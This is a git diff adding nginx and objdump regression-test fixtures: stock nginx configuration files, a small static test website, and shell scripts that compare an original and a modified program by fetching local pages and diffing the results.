+            root   html;
+        }
+
+        # proxy the PHP scripts to Apache listening on 127.0.0.1:80
+        #
+        #location ~ \.php$ {
+        #    proxy_pass   http://127.0.0.1;
+        #}
+
+        # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
+        #
+        #location ~ \.php$ {
+        #    root           html;
+        #    fastcgi_pass   127.0.0.1:9000;
+        #    fastcgi_index  index.php;
+        #    fastcgi_param  SCRIPT_FILENAME  /scripts$fastcgi_script_name;
+        #    include        fastcgi_params;
+        #}
+
+        # deny access to .htaccess files, if Apache's document root
+        # concurs with nginx's one
+        #
+        #location ~ /\.ht {
+        #    deny  all;
+        #}
+    }
+
+
+    # another virtual host using mix of IP-, name-, and port-based configuration
+    #
+    #server {
+    #    listen       8000;
+    #    listen       somename:8080;
+    #    server_name  somename  alias  another.alias;
+
+    #    location / {
+    #        root   html;
+    #        index  index.html index.htm;
+    #    }
+    #}
+
+
+    # HTTPS server
+    #
+    #server {
+    #    listen       443;
+    #    server_name  localhost;
+
+    #    ssl                  on;
+    #    ssl_certificate      cert.pem;
+    #    ssl_certificate_key  cert.key;
+
+    #    ssl_session_timeout  5m;
+
+    #    ssl_protocols  SSLv2 SSLv3 TLSv1;
+    #    ssl_ciphers  HIGH:!aNULL:!MD5;
+    #    ssl_prefer_server_ciphers   on;
+
+    #    location / {
+    #        root   html;
+    #        index  index.html index.htm;
+    #    }
+    #}
+
+}
diff --git a/peasoup_examples/tests/nginx/data/conf/nginx.conf.default b/peasoup_examples/tests/nginx/data/conf/nginx.conf.default
new file mode 100644
index 0000000000000000000000000000000000000000..3bb3389365fd76d4b89e1ad42c6ded821fcae82c
--- /dev/null
+++ b/peasoup_examples/tests/nginx/data/conf/nginx.conf.default
@@ -0,0 +1,118 @@
+
+#user  nobody;
+worker_processes  1;
+
+#error_log  logs/error.log;
+#error_log  logs/error.log  notice;
+#error_log  logs/error.log  info;
+
+#pid        logs/nginx.pid;
+
+
+events {
+    worker_connections  1024;
+}
+
+
+http {
+    include       mime.types;
+    default_type  application/octet-stream;
+
+    #log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
+    #                  '$status $body_bytes_sent "$http_referer" '
+    #                  '"$http_user_agent" "$http_x_forwarded_for"';
+
+    #access_log  logs/access.log  main;
+
+    sendfile        on;
+    #tcp_nopush     on;
+
+    #keepalive_timeout  0;
+    keepalive_timeout  65;
+
+    #gzip  on;
+
+    server {
+        listen       80;
+        server_name  localhost;
+
+        #charset koi8-r;
+
+        #access_log  logs/host.access.log  main;
+
+        location / {
+            root   html;
+            index  index.html index.htm;
+        }
+
+        #error_page  404              /404.html;
+
+        # redirect server error pages to the static page /50x.html
+        #
+        error_page   500 502 503 504  /50x.html;
+        location = /50x.html {
+            root   html;
+        }
+
+        # proxy the PHP scripts to Apache listening on 127.0.0.1:80
+        #
+        #location ~ \.php$ {
+        #    proxy_pass   http://127.0.0.1;
+        #}
+
+        # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
+        #
+        #location ~ \.php$ {
+        #    root           html;
+        #    fastcgi_pass   127.0.0.1:9000;
+        #    fastcgi_index  index.php;
+        #    fastcgi_param  SCRIPT_FILENAME  /scripts$fastcgi_script_name;
+        #    include        fastcgi_params;
+        #}
+
+        # deny access to .htaccess files, if Apache's document root
+        # concurs with nginx's one
+        #
+        #location ~ /\.ht {
+        #    deny  all;
+        #}
+    }
+
+
+    # another virtual host using mix of IP-, name-, and port-based configuration
+    #
+    #server {
+    #    listen       8000;
+    #    listen       somename:8080;
+    #    server_name  somename  alias  another.alias;
+
+    #    location / {
+    #        root   html;
+    #        index  index.html index.htm;
+    #    }
+    #}
+
+
+    # HTTPS server
+    #
+    #server {
+    #    listen       443;
+    #    server_name  localhost;
+
+    #    ssl                  on;
+    #    ssl_certificate      cert.pem;
+    #    ssl_certificate_key  cert.key;
+
+    #    ssl_session_timeout  5m;
+
+    #    ssl_protocols  SSLv2 SSLv3 TLSv1;
+    #    ssl_ciphers  HIGH:!aNULL:!MD5;
+    #    ssl_prefer_server_ciphers   on;
+
+    #    location / {
+    #        root   html;
+    #        index  index.html index.htm;
+    #    }
+    #}
+
+}
diff --git a/peasoup_examples/tests/nginx/data/conf/scgi_params b/peasoup_examples/tests/nginx/data/conf/scgi_params
new file mode 100644
index 0000000000000000000000000000000000000000..47348ca381c4506acc3f515962aafe61b34cc125
--- /dev/null
+++ b/peasoup_examples/tests/nginx/data/conf/scgi_params
@@ -0,0 +1,16 @@
+
+scgi_param  REQUEST_METHOD     $request_method;
+scgi_param  REQUEST_URI        $request_uri;
+scgi_param  QUERY_STRING       $query_string;
+scgi_param  CONTENT_TYPE       $content_type;
+
+scgi_param  DOCUMENT_URI       $document_uri;
+scgi_param  DOCUMENT_ROOT      $document_root;
+scgi_param  SCGI               1;
+scgi_param  SERVER_PROTOCOL    $server_protocol;
+scgi_param  HTTPS              $https if_not_empty;
+
+scgi_param  REMOTE_ADDR        $remote_addr;
+scgi_param  REMOTE_PORT        $remote_port;
+scgi_param  SERVER_PORT        $server_port;
+scgi_param  SERVER_NAME        $server_name;
diff --git a/peasoup_examples/tests/nginx/data/conf/scgi_params.default b/peasoup_examples/tests/nginx/data/conf/scgi_params.default
new file mode 100644
index 0000000000000000000000000000000000000000..47348ca381c4506acc3f515962aafe61b34cc125
--- /dev/null
+++ b/peasoup_examples/tests/nginx/data/conf/scgi_params.default
@@ -0,0 +1,16 @@
+
+scgi_param  REQUEST_METHOD     $request_method;
+scgi_param  REQUEST_URI        $request_uri;
+scgi_param  QUERY_STRING       $query_string;
+scgi_param  CONTENT_TYPE       $content_type;
+
+scgi_param  DOCUMENT_URI       $document_uri;
+scgi_param  DOCUMENT_ROOT      $document_root;
+scgi_param  SCGI               1;
+scgi_param  SERVER_PROTOCOL    $server_protocol;
+scgi_param  HTTPS              $https if_not_empty;
+
+scgi_param  REMOTE_ADDR        $remote_addr;
+scgi_param  REMOTE_PORT        $remote_port;
+scgi_param  SERVER_PORT        $server_port;
+scgi_param  SERVER_NAME        $server_name;
diff --git a/peasoup_examples/tests/nginx/data/conf/uwsgi_params b/peasoup_examples/tests/nginx/data/conf/uwsgi_params
new file mode 100644
index 0000000000000000000000000000000000000000..f539451b6f5816d66f4c86d5c247af59e1daf98c
--- /dev/null
+++ b/peasoup_examples/tests/nginx/data/conf/uwsgi_params
@@ -0,0 +1,16 @@
+
+uwsgi_param  QUERY_STRING       $query_string;
+uwsgi_param  REQUEST_METHOD     $request_method;
+uwsgi_param  CONTENT_TYPE       $content_type;
+uwsgi_param  CONTENT_LENGTH     $content_length;
+
+uwsgi_param  REQUEST_URI        $request_uri;
+uwsgi_param  PATH_INFO          $document_uri;
+uwsgi_param  DOCUMENT_ROOT      $document_root;
+uwsgi_param  SERVER_PROTOCOL    $server_protocol;
+uwsgi_param  HTTPS              $https if_not_empty;
+
+uwsgi_param  REMOTE_ADDR        $remote_addr;
+uwsgi_param  REMOTE_PORT        $remote_port;
+uwsgi_param  SERVER_PORT        $server_port;
+uwsgi_param  SERVER_NAME        $server_name;
diff --git a/peasoup_examples/tests/nginx/data/conf/uwsgi_params.default b/peasoup_examples/tests/nginx/data/conf/uwsgi_params.default
new file mode 100644
index 0000000000000000000000000000000000000000..f539451b6f5816d66f4c86d5c247af59e1daf98c
--- /dev/null
+++ b/peasoup_examples/tests/nginx/data/conf/uwsgi_params.default
@@ -0,0 +1,16 @@
+
+uwsgi_param  QUERY_STRING       $query_string;
+uwsgi_param  REQUEST_METHOD     $request_method;
+uwsgi_param  CONTENT_TYPE       $content_type;
+uwsgi_param  CONTENT_LENGTH     $content_length;
+
+uwsgi_param  REQUEST_URI        $request_uri;
+uwsgi_param  PATH_INFO          $document_uri;
+uwsgi_param  DOCUMENT_ROOT      $document_root;
+uwsgi_param  SERVER_PROTOCOL    $server_protocol;
+uwsgi_param  HTTPS              $https if_not_empty;
+
+uwsgi_param  REMOTE_ADDR        $remote_addr;
+uwsgi_param  REMOTE_PORT        $remote_port;
+uwsgi_param  SERVER_PORT        $server_port;
+uwsgi_param  SERVER_NAME        $server_name;
diff --git a/peasoup_examples/tests/nginx/data/conf/win-utf b/peasoup_examples/tests/nginx/data/conf/win-utf
new file mode 100644
index 0000000000000000000000000000000000000000..ed8bc007a72fcda5123dcf41f660a881a5bb92bf
--- /dev/null
+++ b/peasoup_examples/tests/nginx/data/conf/win-utf
@@ -0,0 +1,126 @@
+
+# This map is not a full windows-1251 <> utf8 map: it does not
+# contain Serbian and Macedonian letters.  If you need a full map,
+# use contrib/unicode2nginx/win-utf map instead.
+
+charset_map  windows-1251  utf-8 {
+
+    82  E2809A ; # single low-9 quotation mark
+
+    84  E2809E ; # double low-9 quotation mark
+    85  E280A6 ; # ellipsis
+    86  E280A0 ; # dagger
+    87  E280A1 ; # double dagger
+    88  E282AC ; # euro
+    89  E280B0 ; # per mille
+
+    91  E28098 ; # left single quotation mark
+    92  E28099 ; # right single quotation mark
+    93  E2809C ; # left double quotation mark
+    94  E2809D ; # right double quotation mark
+    95  E280A2 ; # bullet
+    96  E28093 ; # en dash
+    97  E28094 ; # em dash
+
+    99  E284A2 ; # trade mark sign
+
+    A0  C2A0 ;   # &nbsp;
+    A1  D18E ;   # capital Byelorussian short U
+    A2  D19E ;   # small Byelorussian short u
+
+    A4  C2A4 ;   # currency sign
+    A5  D290 ;   # capital Ukrainian soft G
+    A6  C2A6 ;   # borken bar
+    A7  C2A7 ;   # section sign
+    A8  D081 ;   # capital YO
+    A9  C2A9 ;   # (C)
+    AA  D084 ;   # capital Ukrainian YE
+    AB  C2AB ;   # left-pointing double angle quotation mark
+    AC  C2AC ;   # not sign
+    AD  C2AD ;   # soft hypen
+    AE  C2AE ;   # (R)
+    AF  D087 ;   # capital Ukrainian YI
+
+    B0  C2B0 ;   # &deg;
+    B1  C2B1 ;   # plus-minus sign
+    B2  D086 ;   # capital Ukrainian I
+    B3  D196 ;   # small Ukrainian i
+    B4  D291 ;   # small Ukrainian soft g
+    B5  C2B5 ;   # micro sign
+    B6  C2B6 ;   # pilcrow sign
+    B7  C2B7 ;   # &middot;
+    B8  D191 ;   # small yo
+    B9  E28496 ; # numero sign
+    BA  D194 ;   # small Ukrainian ye
+    BB  C2BB ;   # right-pointing double angle quotation mark
+
+    BF  D197 ;   # small Ukrainian yi
+
+    C0  D090 ;   # capital A
+    C1  D091 ;   # capital B
+    C2  D092 ;   # capital V
+    C3  D093 ;   # capital G
+    C4  D094 ;   # capital D
+    C5  D095 ;   # capital YE
+    C6  D096 ;   # capital ZH
+    C7  D097 ;   # capital Z
+    C8  D098 ;   # capital I
+    C9  D099 ;   # capital J
+    CA  D09A ;   # capital K
+    CB  D09B ;   # capital L
+    CC  D09C ;   # capital M
+    CD  D09D ;   # capital N
+    CE  D09E ;   # capital O
+    CF  D09F ;   # capital P
+
+    D0  D0A0 ;   # capital R
+    D1  D0A1 ;   # capital S
+    D2  D0A2 ;   # capital T
+    D3  D0A3 ;   # capital U
+    D4  D0A4 ;   # capital F
+    D5  D0A5 ;   # capital KH
+    D6  D0A6 ;   # capital TS
+    D7  D0A7 ;   # capital CH
+    D8  D0A8 ;   # capital SH
+    D9  D0A9 ;   # capital SHCH
+    DA  D0AA ;   # capital hard sign
+    DB  D0AB ;   # capital Y
+    DC  D0AC ;   # capital soft sign
+    DD  D0AD ;   # capital E
+    DE  D0AE ;   # capital YU
+    DF  D0AF ;   # capital YA
+
+    E0  D0B0 ;   # small a
+    E1  D0B1 ;   # small b
+    E2  D0B2 ;   # small v
+    E3  D0B3 ;   # small g
+    E4  D0B4 ;   # small d
+    E5  D0B5 ;   # small ye
+    E6  D0B6 ;   # small zh
+    E7  D0B7 ;   # small z
+    E8  D0B8 ;   # small i
+    E9  D0B9 ;   # small j
+    EA  D0BA ;   # small k
+    EB  D0BB ;   # small l
+    EC  D0BC ;   # small m
+    ED  D0BD ;   # small n
+    EE  D0BE ;   # small o
+    EF  D0BF ;   # small p
+
+    F0  D180 ;   # small r
+    F1  D181 ;   # small s
+    F2  D182 ;   # small t
+    F3  D183 ;   # small u
+    F4  D184 ;   # small f
+    F5  D185 ;   # small kh
+    F6  D186 ;   # small ts
+    F7  D187 ;   # small ch
+    F8  D188 ;   # small sh
+    F9  D189 ;   # small shch
+    FA  D18A ;   # small hard sign
+    FB  D18B ;   # small y
+    FC  D18C ;   # small soft sign
+    FD  D18D ;   # small e
+    FE  D18E ;   # small yu
+    FF  D18F ;   # small ya
+}
diff --git a/peasoup_examples/tests/nginx/data/wwwroot/css/style.css b/peasoup_examples/tests/nginx/data/wwwroot/css/style.css
new file mode 100644
index 0000000000000000000000000000000000000000..ccfe6cf001696ca3db0577d39cb7e7d2fa838160
--- /dev/null
+++ b/peasoup_examples/tests/nginx/data/wwwroot/css/style.css
@@ -0,0 +1,37 @@
+#container
+{
+	width:500px
+}
+
+#header
+{
+	background-color:#C0C0C0;
+}
+
+#menu
+{
+	background-color:#C0C0C0;
+	height:200px;
+	width:100px;
+	float:left;
+}
+
+#content
+{
+	background-color:#FFFFFF;
+	height:400px;
+	width:400px;
+	float:left;
+}
+
+#footer
+{
+	background-color:#C0C0C0;
+	clear:both;
+	text-align:center;
+}
+
+h1
+{
+	margin-bottom:0;
+}
diff --git a/peasoup_examples/tests/nginx/data/wwwroot/images/confessionbear.jpg b/peasoup_examples/tests/nginx/data/wwwroot/images/confessionbear.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..633ac55625f89481db67d1d42800a9613abb76bf
Binary files /dev/null and b/peasoup_examples/tests/nginx/data/wwwroot/images/confessionbear.jpg differ
diff --git a/peasoup_examples/tests/nginx/data/wwwroot/images/cupcake.jpg b/peasoup_examples/tests/nginx/data/wwwroot/images/cupcake.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..e1bf0395130b92122eb34fd7e7d191679bb9077d
Binary files /dev/null and b/peasoup_examples/tests/nginx/data/wwwroot/images/cupcake.jpg differ
diff --git a/peasoup_examples/tests/nginx/data/wwwroot/images/grumpycat.jpg b/peasoup_examples/tests/nginx/data/wwwroot/images/grumpycat.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..6b4fc9637d5e6624b9ee4c6c2577d591c4e01911
Binary files /dev/null and b/peasoup_examples/tests/nginx/data/wwwroot/images/grumpycat.jpg differ
diff --git a/peasoup_examples/tests/nginx/data/wwwroot/images/smiley.gif b/peasoup_examples/tests/nginx/data/wwwroot/images/smiley.gif
new file mode 100644
index 0000000000000000000000000000000000000000..0719d8e216b4711e73219977d6b5327da5146bd9
Binary files /dev/null and b/peasoup_examples/tests/nginx/data/wwwroot/images/smiley.gif differ
diff --git a/peasoup_examples/tests/nginx/data/wwwroot/index.html b/peasoup_examples/tests/nginx/data/wwwroot/index.html
new file mode 100644
index 0000000000000000000000000000000000000000..72c37c2516ee79d324ebb6c15cacf4f5ba46204e
--- /dev/null
+++ b/peasoup_examples/tests/nginx/data/wwwroot/index.html
@@ -0,0 +1,31 @@
+<!DOCTYPE html>
+<html>
+<head>
+<title>STONESOUP IOPair Test Site</title>
+<link rel="stylesheet" type="text/css" href="css/style.css">
+</head>
+
+<body>
+
+<div id="container">
+
+<div id="header" >
+<h1 >STONESOUP IOPair Test Site</h1></div>
+
+<div id="menu">
+<b>Menu</b><br>
+<a href="index.html">Home</a><br>
+<a href="pageone.html">Page One</a><br>
+<a href="pagetwo.html">Page Two</a><br>
+<a href="pagethree.html">Page Three</a><br></div>
+
+<div id="content" >
+Welcome to the STONESOUP IOPair Test Site</div>
+
+<div id="footer" >
+Copyright © STONESOUP</div>
+
+</div>
+
+</body>
+</html>
diff --git a/peasoup_examples/tests/nginx/data/wwwroot/pageone.html b/peasoup_examples/tests/nginx/data/wwwroot/pageone.html
new file mode 100644
index 0000000000000000000000000000000000000000..dc643e3515093f27551993066929ba8c45f21091
--- /dev/null
+++ b/peasoup_examples/tests/nginx/data/wwwroot/pageone.html
@@ -0,0 +1,31 @@
+<!DOCTYPE html>
+<html>
+<head>
+<title>STONESOUP IOPair Test Site</title>
+<link rel="stylesheet" type="text/css" href="css/style.css">
+</head>
+
+<body>
+
+<div id="container">
+
+<div id="header" >
+<h1 >STONESOUP IOPair Test Site</h1></div>
+
+<div id="menu">
+<b>Menu</b><br>
+<a href="index.html">Home</a><br>
+<a href="pageone.html">Page One</a><br>
+<a href="pagetwo.html">Page Two</a><br>
+<a href="pagethree.html">Page Three</a><br></div>
+
+<div id="content" >
+Sample Page One<br><img src="images/confessionbear.jpg" alt="Wikipedia: Credible?"></div>
+
+<div id="footer" >
+Copyright © STONESOUP</div>
+
+</div>
+
+</body>
+</html>
diff --git a/peasoup_examples/tests/nginx/data/wwwroot/pagethree.html b/peasoup_examples/tests/nginx/data/wwwroot/pagethree.html
new file mode 100644
index 0000000000000000000000000000000000000000..4fa10009b9e27a9b0cf095e45e1cb9841a4716d3
--- /dev/null
+++ b/peasoup_examples/tests/nginx/data/wwwroot/pagethree.html
@@ -0,0 +1,31 @@
+<!DOCTYPE html>
+<html>
+<head>
+<title>STONESOUP IOPair Test Site</title>
+<link rel="stylesheet" type="text/css" href="css/style.css">
+</head>
+
+<body>
+
+<div id="container">
+
+<div id="header" >
+<h1 >STONESOUP IOPair Test Site</h1></div>
+
+<div id="menu">
+<b>Menu</b><br>
+<a href="index.html">Home</a><br>
+<a href="pageone.html">Page One</a><br>
+<a href="pagetwo.html">Page Two</a><br>
+<a href="pagethree.html">Page Three</a><br></div>
+
+<div id="content" >
+<img src="images/cupcake.jpg" alt="Cupcakes!"></div>
+
+<div id="footer" >
+Copyright © STONESOUP</div>
+
+</div>
+
+</body>
+</html>
diff --git a/peasoup_examples/tests/nginx/data/wwwroot/pagetwo.html b/peasoup_examples/tests/nginx/data/wwwroot/pagetwo.html
new file mode 100644
index 0000000000000000000000000000000000000000..05c7dd6c17492462f4a069220128781105342110
--- /dev/null
+++ b/peasoup_examples/tests/nginx/data/wwwroot/pagetwo.html
@@ -0,0 +1,31 @@
+<!DOCTYPE html>
+<html>
+<head>
+<title>STONESOUP IOPair Test Site</title>
+<link rel="stylesheet" type="text/css" href="css/style.css">
+</head>
+
+<body>
+
+<div id="container">
+
+<div id="header" >
+<h1 >STONESOUP IOPair Test Site</h1></div>
+
+<div id="menu">
+<b>Menu</b><br>
+<a href="index.html">Home</a><br>
+<a href="pageone.html">Page One</a><br>
+<a href="pagetwo.html">Page Two</a><br>
+<a href="pagethree.html">Page Three</a><br></div>
+
+<div id="content" >
+<img src="images/smiley.gif" alt="Smiley face"></div>
+
+<div id="footer" >
+Copyright © STONESOUP</div>
+
+</div>
+
+</body>
+</html>
diff --git a/peasoup_examples/tests/nginx/scripts/service_mon.sh b/peasoup_examples/tests/nginx/scripts/service_mon.sh
new file mode 100755
index 0000000000000000000000000000000000000000..32d2a8c50062ef6a85b9d1eb0ae2f9a3fdb22918
--- /dev/null
+++ b/peasoup_examples/tests/nginx/scripts/service_mon.sh
@@ -0,0 +1,8 @@
+#!/bin/bash
+IS_UP=1
+until [ $IS_UP -eq 0 ]; do
+	echo "quit" | telnet $1 $2 2>/dev/null | grep "Connected" >/dev/null
+	IS_UP=$?
+done
+
+exit 0
diff --git a/peasoup_examples/tests/nginx/test_script.sh b/peasoup_examples/tests/nginx/test_script.sh
new file mode 100755
index 0000000000000000000000000000000000000000..7790868c5a24f2e84f41a48ffc8be12d32241832
--- /dev/null
+++ b/peasoup_examples/tests/nginx/test_script.sh
@@ -0,0 +1,118 @@
+#!/bin/bash
+#Everyone must point to the manual test library
+TEST_LIB=$PEASOUP_HOME/tests/manual_test_lib.sh
+
+#for bzip, I use some data files, so I set up variables pointing to that location
+TEST_DIR=$PEASOUP_HOME/tests/nginx
+DATA_DIR=$TEST_DIR/data 
+THROW_AWAY_DIR=$TEST_DIR/throw_away
+CLEANUP_FILES="$THROW_AWAY_DIR/* $TEST_DIR/data/logs/* index.html*"
+ORIG_NAME="nginx"
+#LOG_DIR=$TEST_DIR/log
+
+#rm -rf $LOG_DIR
+#mkdir $LOG_DIR
+
+CURRENT_DIR=`pwd`
+
+PORT_NUM=1025
+
+#must import the library here, as it depends on some of the above variables
+. $TEST_LIB
+
+cleanup
+
+echo "BEGIN NGINX TESTING"
+
+# help
+echo "Basic test -h"
+run_basic_test 30 -h -p $TEST_DIR/data/
+echo "Finished Basic test -h"
+
+# version
+echo "Basic test -v"
+run_basic_test 30 -v -p $TEST_DIR/data/
+echo "Finished Basic test -h"
+
+# version and configure options
+echo "Basic test -V"
+run_basic_test 30 -V $TEST_DIR/data/
+echo "Finished Basic test -V"
+
+# test configuration and exit
+echo "Basic test -t"
+run_basic_test 30 -t $TEST_DIR/data/
+echo "Finished Basic test -h"
+
+# basic functionality tests
+#############
+#  test1.sh #
+#############
+# start nginx unmodified original
+# set the prefix to point at $TEST_DIR/
+echo Running original server program 
+run_server_bench_prog_only 60 nginx $TEST_DIR/tests/test1.sh -p $TEST_DIR/data/ -c $TEST_DIR/data/conf/nginx.conf 
+
+# Wait a little bit
+sleep 5 
+
+# Run the modified program
+echo Running modified server program
+run_server_test_prog_only 60 nginx $TEST_DIR/tests/test1.sh -p $TEST_DIR/data/ -c $TEST_DIR/data/conf/nginx.conf 
+
+# compare the results
+compare_files_no_filtering $THROW_AWAY_DIR/good-01.orig/index.html $THROW_AWAY_DIR/good-01.test/index.html
+echo $? is the return status
+
+#############
+#  test2.sh #
+#############
+echo Running original server program 
+run_server_bench_prog_only 60 nginx $TEST_DIR/tests/test2.sh -p $TEST_DIR/data/ -c $TEST_DIR/data/conf/nginx.conf 
+
+# Wait a little bit
+sleep 5 
+
+# Run the modified program
+echo Running modified server program
+run_server_test_prog_only 60 nginx $TEST_DIR/tests/test2.sh -p $TEST_DIR/data/ -c $TEST_DIR/data/conf/nginx.conf 
+
+# compare the results
+compare_files_no_filtering $THROW_AWAY_DIR/good-02.orig/pageone.html $THROW_AWAY_DIR/good-02.test/pageone.html
+
+echo test.sh return status: $? 
+
+#############
+#  test3.sh #
+#############
+echo Running original server program 
+run_server_bench_prog_only 60 nginx $TEST_DIR/tests/test3.sh -p $TEST_DIR/data/ -c $TEST_DIR/data/conf/nginx.conf 
+
+# Wait a little bit
+sleep 5 
+
+# Run the modified program
+echo Running modified server program
+run_server_test_prog_only 60 nginx $TEST_DIR/tests/test3.sh -p $TEST_DIR/data/ -c $TEST_DIR/data/conf/nginx.conf 
+
+# compare the results
+compare_files_no_filtering $THROW_AWAY_DIR/good-03.orig/pagetwo.html $THROW_AWAY_DIR/good-03.test/pagetwo.html
+echo test3.sh return status: $? 
+#############
+#  test4.sh #
+#############
+echo Running original server program 
+run_server_bench_prog_only 60 nginx $TEST_DIR/tests/test4.sh -p $TEST_DIR/data/ -c $TEST_DIR/data/conf/nginx.conf 
+
+# Wait a little bit
+sleep 5 
+
+# Run the modified program
+echo Running modified server program
+run_server_test_prog_only 60 nginx $TEST_DIR/tests/test4.sh -p $TEST_DIR/data/ -c $TEST_DIR/data/conf/nginx.conf 
+
+# compare the results
+compare_files_no_filtering $THROW_AWAY_DIR/good-04.orig/pagethree.html $THROW_AWAY_DIR/good-04.test/pagethree.html
+echo test4.sh return status: $? 
+
+report_success "END OF NGINX TESTING"
diff --git a/peasoup_examples/tests/nginx/tests/test1.sh b/peasoup_examples/tests/nginx/tests/test1.sh
new file mode 100755
index 0000000000000000000000000000000000000000..803730c3018b05a74cf6ca1844dbc275e5e69c5c
--- /dev/null
+++ b/peasoup_examples/tests/nginx/tests/test1.sh
@@ -0,0 +1,28 @@
+#!/bin/sh
+
+# test dir
+TEST_DIR=$PEASOUP_HOME/tests/nginx
+
+# scripts dir
+SCRIPT_DIR=$TEST_DIR/scripts
+
+# first arg must be the type of test (orig or test using the manual_test_lib lingo)
+TEST_TYPE=$1
+echo TEST_TYPE is $TEST_TYPE
+
+if [[ "$TEST_TYPE" == "" ]]; then
+    echo "ERROR:  test type (orig or test) must be specified:  You specified: $TEST_TYPE"
+    exit 1
+fi
+
+PORT_NUM=1025
+
+# run the test
+# first make sure that there are no intermediate files leftover
+rm -rf $TEST_DIR/throw_away/good-01.$TEST_TYPE
+
+$SCRIPT_DIR/service_mon.sh localhost $PORT_NUM
+wget -P $TEST_DIR/throw_away/good-01.$TEST_TYPE http://localhost:$PORT_NUM/index.html
+
+# exit with the exit status of the wget request
+exit $?
diff --git a/peasoup_examples/tests/nginx/tests/test2.sh b/peasoup_examples/tests/nginx/tests/test2.sh
new file mode 100755
index 0000000000000000000000000000000000000000..55527e3d0f22134292483d29e231b3b369a5b6e7
--- /dev/null
+++ b/peasoup_examples/tests/nginx/tests/test2.sh
@@ -0,0 +1,28 @@
+#!/bin/sh
+
+# test dir
+TEST_DIR=$PEASOUP_HOME/tests/nginx
+
+# scripts dir
+SCRIPT_DIR=$TEST_DIR/scripts
+
+# first arg must be the type of test (orig or test using the manual_test_lib lingo)
+TEST_TYPE=$1
+echo TEST_TYPE is $TEST_TYPE
+
+if [[ "$TEST_TYPE" == "" ]]; then
+    echo "ERROR:  test type (orig or test) must be specified:  You specified: $TEST_TYPE"
+    exit 1
+fi
+
+PORT_NUM=1025
+
+# run the test
+# first make sure that there are no intermediate files leftover
+rm -rf $TEST_DIR/throw_away/good-02.$TEST_TYPE
+
+$SCRIPT_DIR/service_mon.sh localhost $PORT_NUM
+wget -P $TEST_DIR/throw_away/good-02.$TEST_TYPE http://localhost:$PORT_NUM/pageone.html
+
+# exit with the exit status of the wget request
+exit $?
diff --git a/peasoup_examples/tests/nginx/tests/test3.sh b/peasoup_examples/tests/nginx/tests/test3.sh
new file mode 100755
index 0000000000000000000000000000000000000000..ca0f8826aa9abfe2daa2a2f8e0e787c27fad9813
--- /dev/null
+++ b/peasoup_examples/tests/nginx/tests/test3.sh
@@ -0,0 +1,28 @@
+#!/bin/sh
+
+# test dir
+TEST_DIR=$PEASOUP_HOME/tests/nginx
+
+# scripts dir
+SCRIPT_DIR=$TEST_DIR/scripts
+
+# first arg must be the type of test (orig or test using the manual_test_lib lingo)
+TEST_TYPE=$1
+echo TEST_TYPE is $TEST_TYPE
+
+if [[ "$TEST_TYPE" == "" ]]; then
+    echo "ERROR:  test type (orig or test) must be specified:  You specified: $TEST_TYPE"
+    exit 1
+fi
+
+PORT_NUM=1025
+
+# run the test
+# first make sure that there are no intermediate files leftover
+rm -rf $TEST_DIR/throw_away/good-03.$TEST_TYPE
+
+$SCRIPT_DIR/service_mon.sh localhost $PORT_NUM
+wget -P $TEST_DIR/throw_away/good-03.$TEST_TYPE http://localhost:$PORT_NUM/pagetwo.html
+
+# exit with the exit status of the wget request
+exit $?
diff --git a/peasoup_examples/tests/nginx/tests/test4.sh b/peasoup_examples/tests/nginx/tests/test4.sh
new file mode 100755
index 0000000000000000000000000000000000000000..8323f5e1ba918635f830cac118052cc1f2040493
--- /dev/null
+++ b/peasoup_examples/tests/nginx/tests/test4.sh
@@ -0,0 +1,28 @@
+#!/bin/sh
+
+# test dir
+TEST_DIR=$PEASOUP_HOME/tests/nginx
+
+# scripts dir
+SCRIPT_DIR=$TEST_DIR/scripts
+
+# first arg must be the type of test (orig or test using the manual_test_lib lingo)
+TEST_TYPE=$1
+echo TEST_TYPE is $TEST_TYPE
+
+if [[ "$TEST_TYPE" == "" ]]; then
+    echo "ERROR:  test type (orig or test) must be specified:  You specified: $TEST_TYPE"
+    exit 1
+fi
+
+PORT_NUM=1025
+
+# run the test
+# first make sure that there are no intermediate files leftover
+rm -rf $TEST_DIR/throw_away/good-04.$TEST_TYPE
+
+$SCRIPT_DIR/service_mon.sh localhost $PORT_NUM
+wget -P $TEST_DIR/throw_away/good-04.$TEST_TYPE http://localhost:$PORT_NUM/pagethree.html
+
+# exit with the exit status of the wget request
+exit $?
diff --git a/peasoup_examples/tests/objdump/test_script.sh b/peasoup_examples/tests/objdump/test_script.sh
new file mode 100755
index 0000000000000000000000000000000000000000..29a4e2f50c2c2ae4ca98b9389828f80fce5afb4c
--- /dev/null
+++ b/peasoup_examples/tests/objdump/test_script.sh
@@ -0,0 +1,51 @@
+#!/bin/bash
+#Everyone must point to the manual test library
+TEST_LIB=$PEASOUP_HOME/tests/manual_test_lib.sh
+
+
+#for grep, I use some data files, so I set up variables pointing to that location
+TEST_DIR=$PEASOUP_HOME/tests/objdump
+DATA_DIR=$TEST_DIR/data
+
+#used for filtering program names from output.
+ORIG_NAME=objdump
+
+#must import the library here, as it depends on some of the above variables
+. $TEST_LIB
+
+#run_basic_test will run both the modified program and original program using the same arguments. The first argument ot run_basic_test is the timeout value (in seconds) followed by the arguments for the programs. run_basic_test also does comparisons of stdout, stderr, and the exit status, and only does comparisons and uses timeout when the -i flag is not set. See the library for more details. 
+
+pwd
+echo "TEST_PROG: $TEST_PROG"
+
+# sanity check
+timeout 10 $BENCH -D /bin/ls | grep -e add >/dev/null 2>&1
+if [ ! $? -eq 0 ];then 
+	report_failure
+fi
+
+run_basic_test 120 --help
+run_basic_test 120 --version
+run_basic_test 120 --doesnotexist
+run_basic_test 120 -i
+run_basic_test 120 -d /bin/ls
+run_basic_test 120 -D /bin/ls
+run_basic_test 120 -dz /bin/ls
+run_basic_test 120 -d -l /bin/ls
+run_basic_test 120 -r /bin/ls
+run_basic_test 120 -R /bin/ls
+run_basic_test 120 -s /bin/ls
+run_basic_test 120 -t /bin/ls
+run_basic_test 120 -T /bin/ls
+run_basic_test 120 -x /bin/ls
+run_basic_test 120 -T -w /bin/ls
+run_basic_test 120 -T -w --special-syms /bin/ls
+run_basic_test 120 -d -g /bin/ls
+run_basic_test 120 -d -f /bin/ls
+run_basic_test 120 -d --insn-width=0 /bin/ls
+run_basic_test 120 -d --insn-width=8 /bin/ls
